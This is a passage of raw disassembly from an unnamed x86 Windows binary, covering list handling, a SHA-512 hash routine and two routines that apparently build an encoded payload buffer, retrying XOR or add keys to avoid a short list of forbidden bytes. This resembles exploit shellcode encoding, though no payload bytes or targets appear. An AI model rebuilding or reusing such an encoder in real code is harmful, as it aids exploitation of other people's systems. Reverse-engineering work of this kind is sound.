		and	[esp+0Ch+arg_14C], 0
		test	esi, esi
		jz	short loc_414756
		mov	ecx, edi
		push	offset sub_414446
		mov	edi, offset aSc	; "SC"
		call	sub_414884

loc_414756:				; CODE XREF: sub_4145BE+185j
		or	[esp+0Ch+arg_14C], 0FFFFFFFFh
		jmp	short loc_414716
sub_4145BE	endp

; ---------------------------------------------------------------------------
		cmp	dword ptr [eax+4], 0
		setnz	al
		retn

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414768	proc near		; CODE XREF: sub_4147FC+12p
					; sub_41481B+5Dp

var_18		= byte ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		sub	esp, 18h
		and	dword ptr [ebx+4], 0
		mov	eax, dword_43569C
		mov	eax, [eax]
		mov	[ebp+var_4], eax
		mov	eax, offset dword_435698
		push	esi
		push	edi
		mov	[ebp+var_8], eax
		mov	[ebp+var_10], eax

loc_414789:				; CODE XREF: sub_414768+4Cj
		mov	eax, dword_43569C
		lea	edi, [ebp+var_10]
		lea	esi, [ebp+var_8]
		mov	[ebp+var_C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_4147F1
		call	sub_40164F
		mov	ecx, [ebx]
		cmp	ecx, [eax+40h]
		lea	edi, [ebp+var_18]
		jz	short loc_4147B6
		call	sub_40168C
		jmp	short loc_414789
; ---------------------------------------------------------------------------

loc_4147B6:				; CODE XREF: sub_414768+45j
		mov	eax, [ebp+var_8]
		mov	[ebp+var_10], eax
		mov	eax, [ebp+var_4]
		lea	esi, [ebp+var_10]
		mov	[ebp+var_C], eax
		call	sub_40168C
		mov	eax, [eax+4]
		cmp	eax, dword_43569C
		jz	short loc_4147F1
		mov	ecx, [eax+4]
		mov	edx, [eax]
		mov	[ecx], edx
		mov	ecx, [eax]
		mov	edx, [eax+4]
		push	eax
		mov	[ecx+4], edx
		call	sub_40332D
		dec	dword_4356A0
		pop	ecx

loc_4147F1:				; CODE XREF: sub_414768+36j
					; sub_414768+6Bj
		push	ebx
		call	sub_40332D
		pop	ecx
		pop	edi
		pop	esi
		leave
		retn
sub_414768	endp


; =============== S U B	R O U T	I N E =======================================



sub_4147FC	proc near		; CODE XREF: sub_401FD7+77p
					; sub_4027F4+7Cp ...
		push	ebx
		mov	ebx, eax
		push	0
		push	dword ptr [ebx+4]
		call	ds:off_41D094
		test	eax, eax
		jz	short loc_414817
		call	sub_414768
		mov	al, 1
		pop	ebx
		retn
; ---------------------------------------------------------------------------

loc_414817:				; CODE XREF: sub_4147FC+10j
		xor	al, al
		pop	ebx
		retn
sub_4147FC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41481B	proc near		; CODE XREF: sub_414446+159p
					; sub_4145BE+E6p ...

var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		and	esp, 0FFFFFFF8h
		sub	esp, 1Ch
		mov	eax, dword_43569C
		mov	eax, [eax]
		push	ebx
		mov	[esp+20h+var_14], eax
		mov	eax, offset dword_435698
		push	esi
		push	edi
		mov	[esp+28h+var_18], eax
		mov	[esp+28h+var_10], eax

loc_41483F:				; CODE XREF: sub_41481B+54j
		mov	eax, dword_43569C
		lea	edi, [esp+28h+var_10]
		lea	esi, [esp+28h+var_18]
		mov	[esp+28h+var_C], eax
		call	sub_40166F
		test	al, al
		jz	short loc_41487D
		call	sub_40164F
		mov	ecx, [ebp+arg_0]
		cmp	ecx, [eax+40h]
		jz	short loc_414871
		lea	edi, [esp+28h+var_8]
		call	sub_40168C
		jmp	short loc_41483F
; ---------------------------------------------------------------------------

loc_414871:				; CODE XREF: sub_41481B+49j
		call	sub_40164F
		mov	ebx, [eax]
		call	sub_414768

loc_41487D:				; CODE XREF: sub_41481B+3Cj
		pop	edi
		pop	esi
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
sub_41481B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_414884	proc near		; CODE XREF: sub_40177B+246p
					; sub_4019F3+1F8p ...

var_50		= dword	ptr -50h
var_4C		= byte ptr -4Ch
var_4B		= byte ptr -4Bh
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 54h
		mov	eax, dword_423064
		xor	eax, ebp
		mov	[ebp+var_4], eax
		mov	eax, [ebp+arg_0]
		push	esi
		push	0
		push	ecx
		push	eax
		push	0
		push	0
		call	ds:off_41D090
		test	eax, eax
		mov	[esi+4], eax
		jz	short loc_4148DD
		push	edi
		lea	eax, [ebp+var_4B]
		push	38h
		push	eax
		call	sub_402EAE
		mov	eax, [esi]
		add	esp, 0Ch
		mov	[ebp+var_10], eax
		mov	eax, dword_43569C
		push	eax
		mov	ecx, offset dword_435698
		push	ecx
		lea	eax, [ebp+var_50]
		push	eax
		mov	[ebp+var_4C], 0
		mov	[ebp+var_50], esi
		call	sub_4016BA

loc_4148DD:				; CODE XREF: sub_414884+27j
		push	1
		push	dword ptr [esi+4]
		call	ds:off_41D07C
		mov	ecx, [ebp+var_4]
		xor	ecx, ebp
		mov	eax, esi
		call	sub_402AD0
		leave
		retn	4
sub_414884	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4148F8	proc near		; CODE XREF: sub_41AFA7+49Dp
					; sub_41AFA7+4ABp

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_2		= byte ptr -2
var_1		= byte ptr -1
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		cmp	[ebp+arg_0], 1
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_2], 1
		mov	[ebp+var_1], 0
		jnz	loc_414A1E
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+arg_0], ecx
		jns	short loc_414928
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_414928:				; CODE XREF: sub_4148F8+29j
		jz	short loc_41492E
		mov	[ebp+var_1], 1

loc_41492E:				; CODE XREF: sub_4148F8:loc_414928j
		mov	eax, 172h
		cmp	ecx, eax
		jle	short loc_414941
		cmp	[ebp+var_1], 1
		jnz	loc_414B12

loc_414941:				; CODE XREF: sub_4148F8+3Dj
		inc	ecx
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_414953
		cmp	[ebp+var_1], 1
		jz	loc_414B12

loc_414953:				; CODE XREF: sub_4148F8+4Fj
		mov	ebx, offset byte_435518
		jmp	short loc_41495F
; ---------------------------------------------------------------------------

loc_41495A:				; CODE XREF: sub_4148F8+F7j
		mov	eax, 172h

loc_41495F:				; CODE XREF: sub_4148F8+60j
		inc	[ebp+var_2]
		and	[ebp+var_8], 0
		push	eax
		push	0
		push	ebx
		call	sub_407F20
		add	esp, 0Ch
		push	6
		pop	ecx
		mov	esi, offset dword_425A7C
		mov	edi, ebx
		rep movsd
		mov	cl, [ebp+var_2]
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		mov	byte_435526, cl
		mov	byte_43552A, cl
		jle	short loc_4149AE

loc_414994:				; CODE XREF: sub_4148F8+B4j
		mov	esi, [ebp+var_8]
		mov	al, byte_4353A0[esi]
		add	al, cl
		mov	byte_435530[esi], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		mov	[ebp+var_8], esi
		jl	short loc_414994

loc_4149AE:				; CODE XREF: sub_4148F8+9Aj
		cmp	[ebp+var_1], 1
		jnz	short loc_4149BD
		mov	eax, [ebp+var_8]
		mov	byte_435530[eax], cl

loc_4149BD:				; CODE XREF: sub_4148F8+BAj
		cmp	[ebp+arg_0], edi
		mov	al, 1
		jle	short loc_4149FA

loc_4149C4:				; CODE XREF: sub_4148F8+EEj
		mov	dl, byte_435518[edi]
		xor	esi, esi

loc_4149CC:				; CODE XREF: sub_4148F8+E0j
		cmp	dl, byte_4257F4[esi]
		jz	short loc_4149DC
		inc	esi
		cmp	esi, 8
		jl	short loc_4149CC
		jmp	short loc_4149DE
; ---------------------------------------------------------------------------

loc_4149DC:				; CODE XREF: sub_4148F8+DAj
		xor	al, al

loc_4149DE:				; CODE XREF: sub_4148F8+E2j
		test	al, al
		jz	short loc_4149E8
		inc	edi
		cmp	edi, [ebp+arg_0]
		jl	short loc_4149C4

loc_4149E8:				; CODE XREF: sub_4148F8+E8j
		cmp	al, 1
		jz	short loc_4149FA
		cmp	cl, 0FFh
		jb	loc_41495A
		jmp	loc_414B12
; ---------------------------------------------------------------------------

loc_4149FA:				; CODE XREF: sub_4148F8+CAj
					; sub_4148F8+F2j ...
		cmp	[ebp+var_1], 1
		jnz	short loc_414A09
		mov	eax, [ebp+var_C]
		inc	[ebp+arg_4]
		mov	[ebp+arg_0], eax

loc_414A09:				; CODE XREF: sub_4148F8+106j
		mov	eax, [ebp+arg_4]
		cdq
		sub	eax, edx
		sar	eax, 1
		mov	byte_43551B, al
		mov	eax, [ebp+arg_0]
		jmp	loc_414B14
; ---------------------------------------------------------------------------

loc_414A1E:				; CODE XREF: sub_4148F8+15j
		cmp	[ebp+arg_0], 2
		jnz	loc_414B12
		mov	eax, [ebp+arg_4]
		lea	ecx, [eax+18h]
		and	eax, 80000001h
		mov	[ebp+arg_0], ecx
		jns	short loc_414A3D
		dec	eax
		or	eax, 0FFFFFFFEh
		inc	eax

loc_414A3D:				; CODE XREF: sub_4148F8+13Ej
		jz	short loc_414A43
		mov	[ebp+var_1], 1

loc_414A43:				; CODE XREF: sub_4148F8:loc_414A3Dj
		mov	eax, 172h
		cmp	ecx, eax
		jle	short loc_414A56
		cmp	[ebp+var_1], 1
		jnz	loc_414B12

loc_414A56:				; CODE XREF: sub_4148F8+152j
		inc	ecx
		cmp	ecx, eax
		mov	[ebp+var_C], ecx
		jle	short loc_414A68
		cmp	[ebp+var_1], 1
		jz	loc_414B12

loc_414A68:				; CODE XREF: sub_4148F8+164j
		mov	ebx, offset byte_435518
		jmp	short loc_414A74
; ---------------------------------------------------------------------------

loc_414A6F:				; CODE XREF: sub_4148F8+214j
		mov	eax, 172h

loc_414A74:				; CODE XREF: sub_4148F8+175j
		inc	[ebp+var_2]
		and	[ebp+var_8], 0
		push	eax
		push	0
		push	ebx
		call	sub_407F20
		add	esp, 0Ch
		push	6
		pop	ecx
		mov	esi, offset dword_425A98
		mov	edi, ebx
		rep movsd
		mov	cl, [ebp+var_2]
		xor	edi, edi
		cmp	[ebp+arg_4], edi
		mov	byte_435526, cl
		mov	byte_43552A, cl
		jle	short loc_414AC3

loc_414AA9:				; CODE XREF: sub_4148F8+1C9j
		mov	esi, [ebp+var_8]
		mov	al, byte_4353A0[esi]
		xor	al, cl
		mov	byte_435530[esi], al
		inc	esi
		cmp	esi, [ebp+arg_4]
		mov	[ebp+var_8], esi
		jl	short loc_414AA9

loc_414AC3:				; CODE XREF: sub_4148F8+1AFj
		cmp	[ebp+var_1], 1
		jnz	short loc_414AD2
		mov	eax, [ebp+var_8]
		mov	byte_435530[eax], cl

loc_414AD2:				; CODE XREF: sub_4148F8+1CFj
		cmp	[ebp+arg_0], edi
		mov	al, 1
		jle	loc_4149FA

loc_414ADD:				; CODE XREF: sub_4148F8+207j
		mov	dl, byte_435518[edi]
		xor	esi, esi

loc_414AE5:				; CODE XREF: sub_4148F8+1F9j
		cmp	dl, byte_4257F4[esi]
		jz	short loc_414AF5
		inc	esi
		cmp	esi, 8
		jl	short loc_414AE5
		jmp	short loc_414AF7
; ---------------------------------------------------------------------------

loc_414AF5:				; CODE XREF: sub_4148F8+1F3j
		xor	al, al

loc_414AF7:				; CODE XREF: sub_4148F8+1FBj
		test	al, al
		jz	short loc_414B01
		inc	edi
		cmp	edi, [ebp+arg_0]
		jl	short loc_414ADD

loc_414B01:				; CODE XREF: sub_4148F8+201j
		cmp	al, 1
		jz	loc_4149FA
		cmp	cl, 0FFh
		jb	loc_414A6F

loc_414B12:				; CODE XREF: sub_4148F8+43j
					; sub_4148F8+55j ...
		xor	eax, eax

loc_414B14:				; CODE XREF: sub_4148F8+121j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4148F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_414B19	proc near		; CODE XREF: sub_41AFA7+48Ap

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_0]
		mov	eax, ebp
		lea	edx, [eax+1]

loc_414B24:				; CODE XREF: sub_414B19+10j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_414B24
		sub	eax, edx
		lea	ebx, [eax+0CCh]
		cmp	ebx, 172h
		jg	short loc_414B82
		push	esi
		push	edi
		push	ebx
		push	0
		push	offset byte_4353A0
		call	sub_407F20
		add	esp, 0Ch
		push	32h
		pop	ecx
		mov	esi, offset dword_425AB8
		mov	edi, offset byte_4353A0
		rep movsd
		movsw
		mov	eax, ebp
		movsb
		lea	esi, [eax+1]

loc_414B64:				; CODE XREF: sub_414B19+50j
		mov	cl, [eax]
		inc	eax
		test	cl, cl
		jnz	short loc_414B64
		sub	eax, esi
		push	eax
		push	ebp
		push	offset word_43546A
		call	sub_407FA0
		add	esp, 0Ch
		pop	edi
		mov	eax, ebx
		pop	esi
		jmp	short loc_414B84
; ---------------------------------------------------------------------------

loc_414B82:				; CODE XREF: sub_414B19+20j
		xor	eax, eax

loc_414B84:				; CODE XREF: sub_414B19+67j
		pop	ebp
		pop	ebx
		retn
sub_414B19	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414B90	proc near		; CODE XREF: sub_41BDAA+64p
		xor	ecx, ecx
		push	esi
		push	edi
		mov	[eax+8], ecx
		mov	[eax+0Ch], ecx
		mov	[eax], ecx
		mov	[eax+4], ecx
		lea	edi, [eax+10h]
		mov	ecx, 10h
		mov	esi, offset byte_41FEF8
		rep movsd
		pop	edi
		pop	esi
		retn
sub_414B90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_414BC0	proc near		; CODE XREF: sub_4172D0+BEp
					; sub_4172D0+13Bp ...

var_160		= dword	ptr -160h
var_15C		= dword	ptr -15Ch
var_158		= dword	ptr -158h
var_154		= dword	ptr -154h
var_150		= dword	ptr -150h
var_14C		= dword	ptr -14Ch
var_148		= dword	ptr -148h
var_144		= dword	ptr -144h
var_140		= dword	ptr -140h
var_13C		= dword	ptr -13Ch
var_138		= dword	ptr -138h
var_134		= dword	ptr -134h
var_130		= dword	ptr -130h
var_12C		= dword	ptr -12Ch
var_128		= dword	ptr -128h
var_124		= dword	ptr -124h
var_120		= dword	ptr -120h
var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_114		= dword	ptr -114h
var_110		= dword	ptr -110h
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
var_F8		= dword	ptr -0F8h
var_F4		= dword	ptr -0F4h
var_F0		= dword	ptr -0F0h
var_EC		= dword	ptr -0ECh
var_E8		= dword	ptr -0E8h
var_E4		= dword	ptr -0E4h
var_E0		= dword	ptr -0E0h
var_DC		= dword	ptr -0DCh
var_D8		= dword	ptr -0D8h
var_D4		= dword	ptr -0D4h
var_D0		= dword	ptr -0D0h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_98		= dword	ptr -98h
var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		sub	esp, 160h
		mov	eax, [esp+160h+arg_0]
		mov	edx, [eax+54h]
		push	ebx
		mov	[esp+164h+var_FC], edx
		mov	edx, [eax+5Ch]
		push	ebp
		push	esi
		mov	[esp+16Ch+var_10C], edx
		mov	edx, [eax+64h]
		push	edi
		lea	esi, [eax+10h]
		mov	[esp+170h+var_4], esi
		mov	ecx, 10h
		lea	edi, [esp+170h+var_158]
		rep movsd
		mov	ecx, [eax+50h]
		mov	[esp+170h+var_100], ecx
		mov	ecx, [eax+58h]
		mov	[esp+170h+var_110], ecx
		mov	ecx, [eax+60h]
		mov	[esp+170h+var_108], ecx
		mov	ecx, [eax+68h]
		mov	[esp+170h+var_104], edx
		mov	edx, [eax+6Ch]
		mov	[esp+170h+var_B8], ecx
		mov	ecx, [eax+70h]
		mov	[esp+170h+var_B4], edx
		mov	edx, [eax+74h]
		mov	[esp+170h+var_A8], ecx
		mov	ecx, [eax+78h]
		mov	[esp+170h+var_A4], edx
		mov	edx, [eax+7Ch]
		mov	[esp+170h+var_D0], ecx
		mov	ecx, [eax+80h]
		mov	[esp+170h+var_CC], edx
		mov	edx, [eax+84h]
		mov	esi, [eax+0C4h]
		mov	[esp+170h+var_D8], ecx
		mov	ecx, [eax+88h]
		mov	[esp+170h+var_D4], edx
		mov	edx, [eax+8Ch]
		mov	[esp+170h+var_118], ecx
		mov	ecx, [eax+90h]
		mov	[esp+170h+var_114], edx
		mov	edx, [eax+94h]
		mov	[esp+170h+var_C8], ecx
		mov	ecx, [eax+98h]
		mov	[esp+170h+var_C4], edx
		mov	edx, [eax+9Ch]
		mov	[esp+170h+var_F0], ecx
		mov	ecx, [eax+0A0h]
		mov	[esp+170h+var_EC], edx
		mov	edx, [eax+0A4h]
		mov	[esp+170h+var_E8], ecx
		mov	ecx, [eax+0A8h]
		mov	[esp+170h+var_E4], edx
		mov	edx, [eax+0ACh]
		mov	[esp+170h+var_F8], ecx
		mov	ecx, [eax+0B0h]
		mov	[esp+170h+var_F4], edx
		mov	edx, [eax+0B4h]
		mov	[esp+170h+var_B0], ecx
		mov	ecx, [eax+0B8h]
		mov	[esp+170h+var_AC], edx
		mov	edx, [eax+0BCh]
		mov	[esp+170h+var_C0], ecx
		mov	ecx, [eax+0C0h]
		mov	[esp+170h+var_BC], edx
		mov	edx, [eax+0C8h]
		mov	eax, [eax+0CCh]
		xor	edi, edi
		mov	[esp+170h+var_15C], edi
		mov	[esp+170h+var_A0], ecx
		mov	[esp+170h+var_9C], esi
		mov	[esp+170h+var_E0], edx
		mov	[esp+170h+var_DC], eax
		jmp	short loc_414D5E
; ---------------------------------------------------------------------------
		align 10h

loc_414D50:				; CODE XREF: sub_414BC0+2680j
		mov	ecx, [esp+170h+var_A0]
		mov	esi, [esp+170h+var_9C]

loc_414D5E:				; CODE XREF: sub_414BC0+18Aj
		test	edi, edi
		mov	eax, [esp+170h+var_138]
		mov	edx, [esp+170h+var_134]
		jz	loc_414E48
		mov	edi, ecx
		xor	eax, eax
		mov	ebx, esi
		shrd	edi, ebx, 13h
		or	eax, edi
		mov	ebp, ecx
		mov	edx, ecx
		mov	edi, esi
		shld	esi, ebp, 3
		shr	ebx, 13h
		shl	edx, 0Dh
		or	edx, ebx
		add	ebp, ebp
		xor	ebx, ebx
		or	ebx, esi
		mov	esi, [esp+170h+var_9C]
		shrd	ecx, esi, 6
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	eax, edi
		xor	eax, ecx
		mov	ecx, [esp+170h+var_10C]
		xor	edx, ebx
		mov	[esp+170h+var_160], eax
		mov	eax, [esp+170h+var_110]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		shr	esi, 6
		xor	edx, esi
		xor	edi, edi
		or	edi, ebx
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_10C]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_110]
		shrd	ecx, eax, 7
		shr	eax, 7
		xor	edi, ebp
		xor	esi, ebx
		xor	esi, eax
		mov	eax, [esp+170h+arg_0]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_160]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_100]
		adc	edx, [esp+170h+var_FC]
		add	ecx, [esp+170h+var_F0]
		adc	edx, [esp+170h+var_EC]
		mov	[eax+50h], ecx
		mov	[eax+54h], edx
		mov	eax, edx
		mov	edx, [esp+170h+var_134]
		mov	[esp+170h+var_FC], eax
		mov	[esp+170h+var_54], eax
		mov	eax, [esp+170h+var_138]
		mov	[esp+170h+var_100], ecx
		mov	[esp+170h+var_58], ecx
		jmp	short loc_414E5E
; ---------------------------------------------------------------------------

loc_414E48:				; CODE XREF: sub_414BC0+1A8j
		mov	ecx, [esp+170h+var_100]
		mov	[esp+170h+var_58], ecx
		mov	ecx, [esp+170h+var_FC]
		mov	[esp+170h+var_54], ecx

loc_414E5E:				; CODE XREF: sub_414BC0+286j
		mov	ebx, edx
		mov	esi, edx
		xor	edi, edi
		mov	ecx, eax
		shld	ebx, ecx, 17h
		or	edi, ebx
		shl	ecx, 17h
		xor	ebx, ebx
		shr	esi, 9
		or	esi, ecx
		mov	ebp, eax
		shrd	ebp, edx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_134]
		xor	esi, ebx
		shr	edx, 12h
		mov	ecx, eax
		shl	ecx, 0Eh
		or	ecx, edx
		xor	edi, ecx
		xor	ecx, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	ecx, ebx
		xor	esi, ecx
		mov	ecx, [esp+170h+var_134]
		shr	ebp, 0Eh
		mov	edx, eax
		shl	edx, 12h
		or	edx, ebp
		mov	ebp, [esp+170h+var_130]
		xor	edi, edx
		and	ebp, eax
		mov	edx, eax
		mov	eax, [esp+170h+var_12C]
		and	eax, ecx
		mov	ebx, ecx
		mov	ecx, [esp+170h+var_11C]
		not	edx
		and	edx, [esp+170h+var_128]
		not	ebx
		and	ebx, [esp+170h+var_124]
		xor	edx, ebp
		xor	ebx, eax
		mov	eax, [esp+170h+var_15C]
		add	esi, edx
		adc	edi, ebx
		add	esi, ds:dword_41F9F8[eax*8]
		adc	edi, ds:dword_41F9FC[eax*8]
		add	esi, [esp+170h+var_58]
		mov	eax, [esp+170h+var_120]
		adc	edi, [esp+170h+var_54]
		add	eax, esi
		adc	ecx, edi
		add	[esp+170h+var_140], eax
		mov	[esp+170h+var_11C], ecx
		mov	[esp+170h+var_120], eax
		adc	[esp+170h+var_13C], ecx
		mov	eax, [esp+170h+var_154]
		mov	ecx, [esp+170h+var_158]
		mov	edx, ecx
		mov	esi, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		mov	ecx, eax
		xor	edi, edx
		xor	esi, ebx
		shr	ecx, 7
		mov	ebx, [esp+170h+var_158]
		mov	ebp, eax
		shld	ebp, ebx, 19h
		shl	ebx, 19h
		or	ecx, ebx
		xor	edx, edx
		or	edx, ebp
		mov	ebp, [esp+170h+var_14C]
		xor	edi, ecx
		mov	ecx, [esp+170h+var_150]
		xor	esi, edx
		mov	edx, [esp+170h+var_158]
		mov	ebx, ecx
		xor	ebx, edx
		and	ebx, [esp+170h+var_148]
		and	ecx, edx
		mov	edx, [esp+170h+var_14C]
		xor	ebp, eax
		and	ebp, [esp+170h+var_144]
		and	edx, eax
		xor	ebx, ecx
		xor	ebp, edx
		add	edi, ebx
		adc	esi, ebp
		add	[esp+170h+var_120], edi
		adc	[esp+170h+var_11C], esi
		cmp	[esp+170h+var_15C], 0
		jz	loc_415074
		mov	eax, [esp+170h+var_E0]
		mov	ecx, [esp+170h+var_DC]
		mov	ebx, ecx
		mov	edi, eax
		shrd	edi, ebx, 13h
		xor	esi, esi
		or	esi, edi
		mov	edi, ecx
		shr	ebx, 13h
		mov	edx, eax
		mov	ebp, eax
		shld	ecx, ebp, 3
		shl	edx, 0Dh
		or	edx, ebx
		xor	ebx, ebx
		or	ebx, ecx
		mov	ecx, [esp+170h+var_DC]
		shrd	eax, ecx, 6
		add	ebp, ebp
		add	ebp, ebp
		add	ebp, ebp
		shr	edi, 1Dh
		or	edi, ebp
		xor	esi, edi
		xor	esi, eax
		mov	eax, [esp+170h+var_108]
		xor	edx, ebx
		shr	ecx, 6
		xor	edx, ecx
		mov	ecx, [esp+170h+var_104]
		mov	ebp, ecx
		mov	ebx, eax
		shrd	ebx, ebp, 8
		xor	edi, edi
		or	edi, ebx
		mov	[esp+170h+var_160], esi
		mov	esi, eax
		mov	ebx, eax
		shrd	eax, ecx, 1
		shl	esi, 18h
		shr	ebp, 8
		or	esi, ebp
		shr	ecx, 1
		xor	ebp, ebp
		or	ebp, eax
		mov	eax, [esp+170h+var_108]
		shl	ebx, 1Fh
		or	ebx, ecx
		mov	ecx, [esp+170h+var_104]
		shrd	eax, ecx, 7
		shr	ecx, 7
		xor	esi, ebx
		xor	edi, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_160]
		xor	edi, eax
		mov	eax, [esp+170h+arg_0]
		add	ecx, edi
		adc	edx, esi
		add	ecx, [esp+170h+var_E8]
		adc	edx, [esp+170h+var_E4]
		add	ecx, [esp+170h+var_110]
		adc	edx, [esp+170h+var_10C]
		mov	[eax+58h], ecx
		mov	[eax+5Ch], edx
		mov	eax, edx
		mov	[esp+170h+var_110], ecx
		mov	[esp+170h+var_10C], eax
		mov	[esp+170h+var_28], ecx
		jmp	short loc_415083
; ---------------------------------------------------------------------------

loc_415074:				; CODE XREF: sub_414BC0+3D5j
		mov	edx, [esp+170h+var_110]
		mov	eax, [esp+170h+var_10C]
		mov	[esp+170h+var_28], edx

loc_415083:				; CODE XREF: sub_414BC0+4B2j
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		mov	[esp+170h+var_24], eax
		mov	eax, [esp+170h+var_140]
		mov	edx, ecx
		xor	esi, esi
		shr	edx, 9
		mov	edi, eax
		shld	ebx, edi, 17h
		or	esi, ebx
		shl	edi, 17h
		or	edx, edi
		xor	ebx, ebx
		mov	ebp, eax
		shrd	ebp, ecx, 12h
		or	ebx, ebp
		mov	ebp, [esp+170h+var_13C]
		xor	edx, ebx
		shr	ecx, 12h
		mov	edi, eax
		shl	edi, 0Eh
		or	edi, ecx
		xor	esi, edi
		xor	edi, edi
		mov	ebx, eax
		shrd	ebx, ebp, 0Eh
		or	edi, ebx
		xor	edx, edi
		shr	ebp, 0Eh
		mov	ecx, eax
		shl	ecx, 12h
		or	ecx, ebp
		xor	esi, ecx
		mov	ecx, [esp+170h+var_13C]
		mov	ebx, ecx
		and	ecx, [esp+170h+var_134]
		mov	edi, eax
		and	eax, [esp+170h+var_138]
		not	ebx
		and	ebx, [esp+170h+var_12C]
		not	edi
		and	edi, [esp+170h+var_130]
		xor	ebx, ecx
		mov	ecx, [esp+170h+var_124]
		xor	edi, eax
		mov	eax, [esp+170h+var_15C]
		add	edx, edi
		adc	esi, ebx
		add	edx, ds:dword_41FA00[eax*8]
		adc	esi, ds:dword_41FA04[eax*8]
		add	edx, [esp+170h+var_28]
		mov	eax, [esp+170h+var_128]
		adc	esi, [esp+170h+var_24]
		add	eax, edx
		adc	ecx, esi
		add	[esp+170h+var_148], eax
		mov	[esp+170h+var_124], ecx
		mov	[esp+170h+var_128], eax
		adc	[esp+170h+var_144], ecx
		mov	eax, [esp+170h+var_11C]
		mov	ecx, [esp+170h+var_120]
		mov	edx, ecx
		mov	ebx, eax
		shrd	edx, ebx, 1Ch
		mov	esi, ecx
		xor	edi, edi
		or	edi, edx
		mov	ebp, eax
		shld	ebp, ecx, 1Eh
		shr	ebx, 1Ch
		shl	esi, 4
		or	esi, ebx
		mov	edx, eax
		shl	ecx, 1Eh
		shr	edx, 2
		xor	ebx, ebx
		or	edx, ecx
		or	ebx, ebp
		xor	edi, edx
		xor	esi, ebx
		mov	ecx, eax
		mov	ebx, [esp+170h+var_120]
		xor	edx, edx
		mov	ebp, eax
		shld	ebp, ebx, 19h
